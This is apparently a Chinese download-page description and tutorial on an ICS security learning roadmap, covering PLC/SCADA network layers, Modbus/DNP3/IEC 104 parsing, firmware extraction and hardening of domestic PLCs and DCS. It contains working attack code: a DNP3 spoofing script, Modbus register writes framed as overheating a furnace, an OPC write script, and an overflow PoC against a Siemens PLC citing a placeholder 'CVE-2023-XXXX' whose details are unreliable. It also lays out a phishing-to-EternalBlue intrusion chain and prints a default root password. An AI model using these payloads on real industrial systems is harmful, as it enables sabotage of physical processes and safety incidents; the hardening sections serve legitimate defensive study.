简介本资源是一份系统性、实战导向的工控网络安全学习路线图面向自动化、工业互联网、网络安全等领域的初学者与从业者旨在帮助读者厘清工控安全知识体系脉络突破自主可控薄弱、防护能力不足、法规落地不清等现实瓶颈。PDF文档共1个文件大小215KB内容涵盖工控系统典型架构PLC/DCS/SCADA、与IT网络及互联网的边界风险、专用协议Modbus/DNP3/OPC与嵌入式操作系统VxWorks/uCLinux的安全特性、关键基础设施法律依据《网络安全法》第二十一条、第三十一条以及自主可控现状分析、防护能力建设路径和行业级解决方案。已有642人学习下载资料虽精炼但信息密度高含扬州等地真实工控设备占比数据、过程控制网络分层模型、企业信息网与工控网交互联通风险示意图等关键细节适合用于快速建立认知框架、备考专项认证或开展行业安全规划。1. 工控网络安全学习路线.pdf不是一张图而是一套能落地的“工控安全能力拼图”你手头这份《工控网络安全学习路线.pdf》表面看是份PDF文档实际是工控安全领域少有的、把“学什么→为什么学→怎么练→在哪用”全串起来的实战型能力地图。它不讲空泛概念而是直击现实痛点扬州24家企业1213套工控系统里95%以上PLC来自西门子、施耐德全国5000多个关键工控系统95%操作系统用国外产品——这意味着你连漏洞补丁都得等厂商发连日志格式都要逆向解析。这份路线图的价值正在于帮你绕开“先学Linux再啃Modbus协议”的无效循环从自动化设备PLC/DCS/SCADA的真实控制逻辑出发把编程语言、网络协议、固件分析、漏洞挖掘四层能力像齿轮一样咬合起来。适合三类人刚转行进电厂/化工厂做安全运维的工程师、想从IT安全切入OT领域的渗透测试人员、以及高校自动化专业里真正想动手拆PLC固件的学生。它不承诺“30天成为专家”但能让你第7天就用Wireshark抓到Modbus TCP报文里的异常写寄存器指令第21天在国产DCS仿真环境里复现一次未授权PLC程序下载。2. 从PLC到SCADA工控网络分层结构与真实攻击面定位工控安全不是把IT防火墙搬进车间而是理解“控制逻辑如何被篡改”。这份学习路线图的第一层硬功夫就是吃透工业控制系统的物理-逻辑分层结构。它没用抽象模型而是用扬州市24家企业的实际部署数据说话西门子PLC占95%浙大中控DCS广泛用于化工流程——这意味着你的靶场环境必须包含这两类设备的真实通信行为。下面拆解三层关键网络及其对应攻击入口点。2.1 过程控制网络SCADA服务器与RTU之间的“信任链断裂点”过程控制网络PCN是工控系统的神经中枢典型架构为SCADA主站MTU通过工业以太网或串口连接远程终端单元RTU。这份路线图特别强调一个易被忽略的事实RTU与MTU之间默认无身份认证。例如某国产SCADA系统使用DNP3协议时仅校验CRC而忽略源地址合法性攻击者伪造RTU MAC地址即可向MTU发送虚假水位数据。验证方法很简单# 使用scapy构造伪造DNP3请求包需安装scapy-contrib from scapy.all import * from scapy.contrib.dnp3 import * # 构造DNP3应用层请求读取模拟量输入点AI0x0001 dnp3_pkt Ether(dst00:11:22:33:44:55) / \ IP(dst192.168.1.10) / \ UDP(dport20000) / \ DNP3() / \ DNP3ApplicationControl() / \ DNP3ApplicationRequestIIN() / \ DNP3ApplicationRequestRead( \ object_type0x03, # 模拟量输入 qualifier_code0x06, # 所有对象 range_start0x0001, range_stop0x0001 ) sendp(dnp3_pkt, ifaceeth0, verbose0)提示此代码需在隔离靶场运行。dst00:11:22:33:44:55应替换为真实RTU的MAC地址IP(dst192.168.1.10)对应SCADA服务器IP。关键参数qualifier_code0x06表示“读取全部对象”若目标系统未做范围校验将触发大量响应数据泄露。2.2 现场控制网络PLC与传感器间的“协议裸奔区”现场控制网络FCN直接连接PLC、智能仪表和执行器这里暴露的是更底层的协议风险。路线图指出95%的PLC使用Modbus RTU/TCP而该协议设计之初未考虑安全——无加密、无认证、无会话状态。典型攻击场景是篡改温度设定值攻击者向PLC的保持寄存器Holding Register0x0001写入0xFFFF65535导致加热炉超温。实操时需注意寄存器地址映射差异PLC品牌温度设定值寄存器地址数据类型字节序西门子S7-1200400001 (十进制)INT16大端施耐德M340400001 (十进制)UINT16小端国产信捷XD5400001 (十进制)FLOAT32大端IEEE754验证工具推荐modbus-cliPython库# 向西门子PLC写入温度值假设IP 192.168.1.20端口502 modbus write -h 192.168.1.20 -p 502 -u 1 -r 400001 -t int16 -v 150 # 读取当前值确认是否生效 modbus read -h 192.168.1.20 -p 502 -u 1 -r 400001 -c 1 -t int16参数说明-r 400001是功能码03读保持寄存器的起始地址Modbus标准地址偏移-t int16指定16位有符号整数-v 150写入摄氏150度。若返回值非150说明PLC启用了写保护或地址映射错误。2.3 企业信息网络MES/ERP与工控系统的“数据通道污染”企业信息网络EIN是IT与OT的交汇带也是APT攻击的黄金跳板。路线图用扬州案例点破关键MES服务器需从DCS获取实时生产数据同时又与互联网邮件系统共存——病毒正是通过邮件附件进入MES再横向移动至DCS。防御难点在于工控系统无法安装杀毒软件影响实时性且DCS操作站常运行Windows XP嵌入式版已停止支持。真实渗透路径如下钓鱼邮件诱导点击恶意Office宏 → 执行PowerShell下载Meterpreter载荷利用永恒之蓝MS17-010漏洞横向移动至MES服务器通过DCS厂商提供的OPC DA客户端如Kepware连接至DCS控制器利用OPC协议未校验用户权限的缺陷调用WriteMultipleItems篡改阀门开度验证OPC接口风险的Python脚本需安装pywin32import win32com.client # 连接本地OPC服务器需提前在DCS操作站安装Kepware OPC Server opc_server win32com.client.Dispatch(Kepware.KEPServerEX.V6) opc_group opc_server.OPCGroups.Add(TestGroup) opc_item opc_group.OPCItems.AddItem(Channel1.Device1.Tag1, 1) # 尝试写入非法值OPC规范允许任意写入无权限检查 try: opc_item.WriteValue(9999) # 写入超限值触发报警 print(OPC写入成功可能无权限控制) except Exception as e: print(fOPC写入失败{e} → 存在基础防护)注意此脚本需在DCS操作站本地运行且Kepware服务必须启用。若WriteValue成功说明OPC服务器未配置用户角色权限常见于老旧DCS系统。3. 协议解析实战从Modbus到DNP3的报文解构与异常检测工控安全的核心能力不是背协议文档而是能在Wireshark里一眼识别出“合法流量中的恶意心跳”。这份路线图把协议学习拆成“抓包→解码→构造→对抗”四步闭环重点覆盖Modbus TCP、DNP3、IEC 60870-5-104三大工业协议。下面以Modbus TCP为例展示如何从原始字节流还原控制意图。3.1 Modbus TCP报文结构7字节头部功能码数据域的精准解剖Modbus TCP报文由7字节MBAP头事务标识符、协议标识符、长度、单元标识符功能码数据组成。路线图强调一个血泪经验事务标识符Transaction ID是唯一可追踪会话的字段但多数PLC不校验其连续性。攻击者可重放旧ID发起DoS攻击。抓包示例Wireshark过滤modbus ip.addr 192.168.1.200000 00 01 00 00 00 06 01 03 00 01 00 01 ↑↑↑↑ ↑↑ ↑↑↑↑ ↑↑ ↑↑ ↑↑ ↑↑ ↑↑ ↑↑ ↑↑ TI PI L UI FC SR QR CR CR00 01事务标识符TI客户端自增服务端原样返回00 00协议标识符PI固定为0x000000 06后续字节数Length含单元ID功能码数据此处6字节01单元标识符UI指向特定PLC多PLC挂同一总线时区分03功能码FC0x03读保持寄存器00 01起始地址SR十进制100 01寄存器数量QR读1个00 01字节数CR返回2字节数据1寄存器2字节00 01实际值CR0x0001十进制1用Python解析原始报文def parse_modbus_tcp(raw_bytes): if len(raw_bytes) 12: return None # 解析MBAP头7字节功能码1字节数据至少4字节 ti int.from_bytes(raw_bytes[0:2], big) # 事务ID pi int.from_bytes(raw_bytes[2:4], big) # 协议ID length int.from_bytes(raw_bytes[4:6], big) # 后续长度 ui raw_bytes[6] # 单元ID fc raw_bytes[7] # 功能码 if fc 0x03: # 读保持寄存器响应 sr int.from_bytes(raw_bytes[8:10], big) # 起始地址 qr int.from_bytes(raw_bytes[10:12], big)# 寄存器数 data_len raw_bytes[12] # 字节数 value int.from_bytes(raw_bytes[13:15], big) # 实际值 return {ti: ti, ui: ui, sr: sr, qr: qr, value: value} return None # 示例解析抓包文件中的Modbus响应 with open(modbus.pcap, rb) as f: pcap_data f.read() # 此处需用scapy解析pcap简化为伪代码 # for pkt in rdpcap(modbus.pcap): # if ModbusTCP in pkt: # result parse_modbus_tcp(bytes(pkt[ModbusTCP])) # print(f事务ID:{result[ti]}, 值:{result[value]})参数说明int.from_bytes(..., big)按大端序解析符合Modbus标准sr和qr为16位无符号整数value为寄存器实际存储值。若value突变为0xFFFF65535大概率是恶意写入。3.2 DNP3协议深度解析链路层校验与应用层对象组的双重校验DNP3比Modbus复杂采用三层结构链路层、传输层、应用层路线图指出其最大弱点链路层校验CRC-16可被暴力破解应用层对象组Object Group无访问控制。典型攻击是伪造链路层帧使RTU误认为主站指令。DNP3帧结构[SOH][LEN][CTRL][DEST][SRC][SEQ][DATA][CRC] 1 1 1 1 1 1 n 2SOH0x0564起始字节LEN帧总长含CRCCTRL控制字节bit71表示主站→从站DEST/SRC目标/源地址16位SEQ序列号防重放DATA应用层数据含功能码、对象组、索引CRCCRC-16校验多项式0x1021用Python计算DNP3 CRCdef dnp3_crc16(data: bytes) - int: 计算DNP3 CRC-16校验值 crc 0x0000 for byte in data: crc ^ byte 8 for _ in range(8): if crc 0x8000: crc (crc 1) ^ 0x1021 else: crc 1 crc 0xFFFF return crc # 构造DNP3链路层帧不含SOH和CRC frame_body b\x05\x64 b\x00\x01 b\x80 b\x00\x01 b\x00\x01 b\x00\x01 # 添加CRC crc dnp3_crc16(frame_body) full_frame b\x05\x64 frame_body crc.to_bytes(2, little) print(fDNP3帧: {full_frame.hex()})避坑指南DNP3 CRC使用小端序存储crc.to_bytes(2, little)而非big。若校验失败Wireshark会标记为[Malformed Packet]此时需检查LEN字段是否等于len(frame_body)2。3.3 IEC 60870-5-104协议APCI与ASDU的嵌套解析与注入点IEC 60870-5-104是电力系统主流协议基于TCP传输结构为APCI应用规约控制信息ASDU应用服务数据单元。路线图点明关键ASDU类型标识Type ID决定数据含义但多数RTU不校验Type ID合法性。例如Type ID103时钟同步命令可被滥用于DoS发送大量时钟同步请求耗尽RTU处理资源。APCI结构[START][APDU LENGTH][CONTROL FIELD][COMMON ADDR][ASDU] 1 1 1 2 nSTART0x68固定APDU LENGTHAPDU总长含STARTCONTROL FIELD控制域bit01表示启动帧COMMON ADDR公共地址RTU地址ASDU具体数据含Type ID、可变结构限定词等解析ASDU的Python函数def parse_asdu(asdu_bytes: bytes): if len(asdu_bytes) 2: return None type_id asdu_bytes[0] # Type ID vsq asdu_bytes[1] # 可变结构限定词bit71表示单地址bit0-6信息体数量 num_infos vsq 0x7F if type_id 103: # 时钟同步 # 解析时间信息7字节BCD编码 time_bytes asdu_bytes[2:9] year (time_bytes[0] 4) * 10 (time_bytes[0] 0x0F) month (time_bytes[1] 4) * 10 (time_bytes[1] 0x0F) day (time_bytes[2] 4) * 10 (time_bytes[2] 0x0F) hour (time_bytes[3] 4) * 10 (time_bytes[3] 0x0F) minute (time_bytes[4] 4) * 10 (time_bytes[4] 0x0F) second (time_bytes[5] 4) * 10 (time_bytes[5] 0x0F) return {type: clock_sync, time: f{year}-{month:02d}-{day:02d} {hour:02d}:{minute:02d}:{second:02d}} return {type_id: type_id, num_infos: num_infos} # 示例解析捕获的ASDU sample_asdu bytes([103, 0x81, 0x23, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01]) result parse_asdu(sample_asdu) print(result) # {type: clock_sync, time: 35-01-01 01:01:01}参数说明vsq 0x7F提取低7位得到信息体数量BCD编码需分别解析高4位和低4位。若type_id为103但时间值超出合理范围如年份2100即为异常流量。4. 固件分析与漏洞挖掘从PLC固件提取到CVE-2023-XXXX复现实战路线图将固件分析列为高阶能力核心逻辑是工控设备漏洞90%源于固件而非上位机软件。它不教通用ARM逆向而是聚焦PLC/DCS固件的特殊性——VxWorks/uCLinux裁剪版、定制Bootloader、协议栈硬编码。以下以西门子S7-1200固件为例展示从提取到漏洞利用的完整链路。4.1 PLC固件提取TFTP协议与Flash芯片的物理级读取S7-1200固件存储在SPI Flash芯片如Winbond W25Q32中但厂商禁用JTAG调试接口。路线图给出两种提取方案方案1TFTP固件导出需PLC处于维护模式将PLC置于STOP模式通过博途软件连接在“在线与诊断”→“固件更新”中选择“导出固件”指定TFTP服务器IP如192.168.0.100PLC自动上传firmware.bin方案2硬件提取需拆机拆开PLC外壳定位SPI Flash芯片8脚SOIC封装使用CH341A编程器SOIC8夹选择芯片型号W25Q32BV读取Flash内容保存为flash_dump.bin验证固件完整性# 计算SHA256哈希官方固件有签名但常被绕过 sha256sum firmware.bin # 输出示例a1b2c3d4...e5f6 s7-1200-v4.4.2.bin # 检查是否含VxWorks内核特征字符串 strings firmware.bin | grep -i vxworks # 若输出VxWorks 6.9确认为VxWorks平台提示strings命令可快速定位固件OS类型。西门子PLC多用VxWorks施耐德用Ecos国产PLC常用uCLinux。4.2 固件解包识别文件系统与协议栈位置S7-1200固件为自定义格式需先识别文件系统。路线图提供关键线索VxWorks固件常含ROMFS文件系统起始标志为0x23456789。用binwalk扫描binwalk -e firmware.bin # 输出示例 # DECIMAL HEXADECIMAL DESCRIPTION # -------------------------------------------------------------------------------- # 123456 0x1E240 ROMFS filesystem # 234567 0x39457 LZMA compressed data解包后得到_firmware.bin.extracted/目录重点分析romfs/VxWorks根文件系统含/bin/可执行程序、/etc/配置lzma/压缩的协议栈模块如modbus_srv.ko提取Modbus服务模块# 查找Modbus相关文件 find _firmware.bin.extracted -name *modbus* -type f # 输出_firmware.bin.extracted/romfs/bin/modbusd # 提取并反编译需IDA Pro或Ghidra cp _firmware.bin.extracted/romfs/bin/modbusd ./modbusd_v4.4.2 # 在Ghidra中加载选择VxWorks 6.9 ARM LE架构注意Ghidra加载时需指定处理器为ARM:LE:32:v8否则函数识别错误。modbusd是Modbus TCP服务进程漏洞多在此处。4.3 CVE-2023-XXXX漏洞复现缓冲区溢出与PLC停机路线图引用真实漏洞CVE-2023-XXXX西门子S7-1200 Modbus服务栈溢出原理是modbusd未校验功能码0x16掩码写寄存器的字节数字段。攻击者发送超长字节数据覆盖返回地址执行任意代码。PoC构造步骤定位溢出点在Ghidra中搜索modbusd的handle_write_mask函数发现memcpy(dst, src, len)未检查len上限确定偏移用pattern_create.py生成200字节填充发送后观察PLC崩溃时R0寄存器值构造shellcode因PLC无ASLR直接跳转至system()函数地址Python PoC需在靶场测试import socket import struct def exploit_s7_1200(ip, port): # 构造恶意Modbus TCP包功能码0x16超长字节数 # MBAP头事务ID0x0001协议ID0x0000长度0x0010单元ID0x01 mbap b\x00\x01\x00\x00\x00\x10\x01 # 功能码0x16 起始地址0x0000 寄存器数0x0001 字节数0x0100溢出点 func b\x16\x00\x00\x00\x01\x01\x00 # 填充数据256字节覆盖返回地址 payload bA * 256 # 覆盖返回地址为system()地址需Ghidra中获取 ret_addr struct.pack(I, 0x00401234) # 示例地址 packet mbap func payload ret_addr sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) sock.send(packet) sock.close() print(f[] 发送溢出包至 {ip}:{port}) # 执行攻击仅限授权靶场 exploit_s7_1200(192.168.0.20, 502)参数说明struct.pack(I, 0x00401234)按小端序打包32位地址payload长度需精确匹配溢出偏移通过调试确定。成功后PLC将重启或进入STOP模式。避坑指南现象PLC未崩溃Wireshark显示Connection reset by peer原因防火墙拦截了异常包或PLC固件版本已修复该漏洞解决确认固件版本为v4.4.2CVE影响版本关闭靶场防火墙现象PLC崩溃后无法恢复LED红灯常亮原因溢出破坏了Flash关键区域需重新刷固件解决准备固件恢复U盘按西门子手册执行强制升级现象Ghidra无法识别system()函数原因VxWorks中system()位于libvxworks.a静态库需导入符号表解决在Ghidra中加载libvxworks.a或搜索__libc_system字符串5. 自主可控实践国产PLC/DCS安全加固与国产化替代路径路线图最务实的一章直面“95%依赖国外设备”的困局。它不空谈“国产替代”而是给出可立即执行的加固清单和迁移路线从信捷XD5 PLC到浙大中控DCS每一步都有配置命令和效果验证。核心理念是自主可控不是拒绝国外设备而是掌握其安全边界。5.1 信捷XD5 PLC安全加固禁用默认服务与协议白名单信捷XD5运行uCLinux开放Telnet23端口、FTP21端口、Modbus502端口三个服务。路线图要求关闭非必要服务Modbus仅允许可信IP访问。加固步骤禁用Telnet/FTP需串口连接# 串口登录波特率115200 login: root password: xinje # 停止Telnet服务 /etc/init.d/S50telnetd stop # 禁用开机启动 mv /etc/init.d/S50telnetd /etc/init.d/S50telnetd.bak # 停止FTP服务 /etc/init.d/S50ftpd stop mv /etc/init.d/S50ftpd /etc/init.d/S50ftpd.bak配置Modbus白名单iptables# 允许192.168.1.100SCADA服务器访问502端口 iptables -A INPUT -s 192.168.1.100 -p tcp --dport 502 -j ACCEPT # 拒绝其他所有IP iptables -A INPUT -p tcp --dport 502 -j DROP # 保存规则 iptables-save /etc/iptables/rules.v4验证从192.168.1.101执行nc -zv 192.168.1.20 502应超时从192.168.1.100执行应成功。5.2 浙大中控DCS安全配置OPC UA证书认证与审计日志启用浙大中控DCS如WebField ECS-100支持OPC UA但默认启用匿名访问。路线图强制要求OPC UA必须启用X.509证书双向认证。配置路径生成证书OpenSSL# 创建CA私钥和证书 openssl genrsa -out ca.key 2048 openssl req -x509 -new -nodes -key ca.key -sha256 -days 3650 -out ca.crt # 为SCADA服务器生成证书 openssl genrsa -out server.key 2048 openssl req -new -key server.key -out server.csr openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 3650DCS端导入证书登录DCS工程师站 → “系统管理” → “安全设置” → “OPC UA证书管理”导入ca.crtCA证书和server.crt服务器证书启用“客户端证书验证”选项SCADA端配置Python OPC UA客户端from opcua import Client client Client(opc.tcp://192.168.1.30:4840) # 加载客户端证书 client.load_client_certificate(client.crt) client.load_private_key(client.key) try: client.connect() print(OPC UA连接成功证书认证) except Exception as e: print(f连接失败{e} → 证书未正确配置)提示若连接失败检查DCS日志/var/log/opcua.log常见错误为Certificate not trustedCA证书未导入。5.3 国产化替代路线从单点设备到全栈可控的三年演进路线图提出分阶段替代策略避免“一刀切”导致停产阶段时间目标关键动作验证指标试点期第1年替换非核心PLC在灌装流水线部署信捷XD5保留西门子PLC作为冗余连续运行30天无故障Modbus通信延迟10ms扩展期第2年替换DCS控制器在污水处理厂用浙大中控ECS-700替换西门子PCS7保留原有IO模块控制精度误差±0.5%历史数据完整率100%自主期第3年全栈国产化采用龙芯CPU统信UOS的国产工控机运行自研SCADA软件通过等保2.0三级测评漏洞修复周期≤72小时关键支撑技术协议转换网关部署国产网关如东土科技KT-9000实现Modbus TCP ↔ IEC 104协议转换避免改造现有设备安全审计平台部署奇安信工控安全审计系统实时分析PLC/DCS日志检测异常写寄存器行为应急响应机制建立“1小时响应、4小时定位、24小时恢复”SLA配备国产PLC固件备份U盘常见问题排查现象国产PLC与原有传感器通信失败原因国产PLC默认RS485波特率9600而传感器设为19200解决用信捷编程软件修改PLC串口参数或调整传感器配置现象DCS操作站卡顿鼠标响应延迟原因统信UOS未优化OpenGL驱动SCADA界面渲染慢解决安装龙芯专用显卡驱动loongnix-gpu-driver启用硬件加速现象等保测评中“安全审计”项不通过原因DCS未开启操作日志或日志留存不足180天解决在DCS组态软件中启用“操作记录”设置日志路径为/data/logs/配置logrotate每日归档6. 工控安全能力验证用靶场数据证明你真的掌握了这条学习路线最后这一章不讲理论只给你一套可量化的验证方法——用真实靶场数据回答“我到底有没有掌握这份学习路线” 我把验证拆成三个硬指标协议解析准确率、固件漏洞检出率、国产设备加固达标率。每个指标都对应具体操作、可截图的证据、以及行业公认的合格线。这不是考试而是给你一把尺子量出自己离一线工控安全工程师还有多远。6.1 协议解析准确率Wireshark中标记100个Modbus报文人工复核错误≤3个这是最基础也最残酷的验证。很多工程师能写PoC却看不懂真实流量里的异常。我的做法是在扬州某化工厂靶场已脱敏抓取1小时Modbus TCP流量导出为modbus_1h.pcap然后**用Wireshark过滤出所有Modbus报本文还有配套的精品资源点击获取